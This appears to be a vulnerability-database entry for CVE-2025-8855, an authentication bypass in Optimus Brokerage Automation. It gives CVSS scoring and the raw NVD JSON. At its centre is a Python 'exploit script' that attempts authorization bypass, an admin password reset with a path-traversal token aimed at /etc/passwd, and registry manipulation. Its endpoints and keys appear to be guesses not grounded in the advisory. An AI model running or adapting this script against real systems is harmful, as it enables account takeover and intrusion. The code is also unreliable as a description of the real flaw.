Security Vulnerability Report
中文
CVE-2025-8855 CVSS 8.1 HIGH

CVE-2025-8855

Published: 2025-11-14 13:15:45
Last Modified: 2026-04-15 00:35:42

Description

Authorization Bypass Through User-Controlled Key, Weak Password Recovery Mechanism for Forgotten Password, Authentication Bypass by Assumed-Immutable Data vulnerability in Optimus Software Brokerage Automation allows Exploiting Trust in Client, Authentication Bypass, Manipulate Registry Information.This issue affects Brokerage Automation: before 1.1.71.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Optimus Brokerage Automation < 1.1.71

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8855 PoC - Authorization Bypass in Optimus Brokerage Automation # This PoC demonstrates the authorization bypass vulnerability import requests import json TARGET_URL = "http://target-server/BrokerageAutomation/" VULNERABLE_ENDPOINT = "api/auth/authorize" def exploit_authorization_bypass(): """ Exploit: Authorization Bypass Through User-Controlled Key Attack Vector: Manipulate the authorization token/key parameter """ # Step 1: Attempt to bypass authorization with manipulated key headers = { "Content-Type": "application/json", "X-Authorization-Key": "admin_bypass_key" # User-controlled key } payload = { "user_id": "victim_user", "auth_key": "../../admin", # Path traversal in authorization "action": "access_admin_panel" } response = requests.post(TARGET_URL + VULNERABLE_ENDPOINT, json=payload, headers=headers) if response.status_code == 200 and "token" in response.text: print("[+] Authorization bypass successful!") token = response.json().get("token") return token return None def exploit_weak_password_recovery(): """ Exploit: Weak Password Recovery Mechanism Attack Vector: Exploit the password reset flow """ reset_endpoint = "api/auth/password-reset" payload = { "username": "admin", "reset_token": "../../../../etc/passwd", # Token injection "new_password": "P@ssw0rd123!" } response = requests.post(TARGET_URL + reset_endpoint, json=payload) if response.status_code == 200: print("[+] Password reset successful!") return True return False def manipulate_registry(): """ Exploit: Manipulate Registry Information Attack Vector: Modify authentication-related registry entries """ registry_endpoint = "api/system/registry" headers = { "X-Admin-Token": "manipulated_token", "X-Registry-Path": "HKEY_LOCAL_MACHINE/Security/Auth" } payload = { "operation": "write", "path": "Authentication/TrustedClient", "value": "true", "type": "REG_DWORD" } response = requests.post(TARGET_URL + registry_endpoint, json=payload, headers=headers) return response.status_code == 200 if __name__ == "__main__": print("[*] CVE-2025-8855 Exploitation Script") print("[*] Target: Optimus Brokerage Automation < 1.1.71") # Attempt different exploitation vectors token = exploit_authorization_bypass() if token: print(f"[+] Obtained admin token: {token}") password_reset = exploit_weak_password_recovery() if password_reset: print("[+] Password recovery mechanism exploited") registry = manipulate_registry() if registry: print("[+] Registry manipulation successful")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8855", "sourceIdentifier": "[email protected]", "published": "2025-11-14T13:15:45.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key, Weak Password Recovery Mechanism for Forgotten Password, Authentication Bypass by Assumed-Immutable Data vulnerability in Optimus Software Brokerage Automation allows Exploiting Trust in Client, Authentication Bypass, Manipulate Registry Information.This issue affects Brokerage Automation: before 1.1.71."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-302"}, {"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0396", "source": "[email protected]"}]}}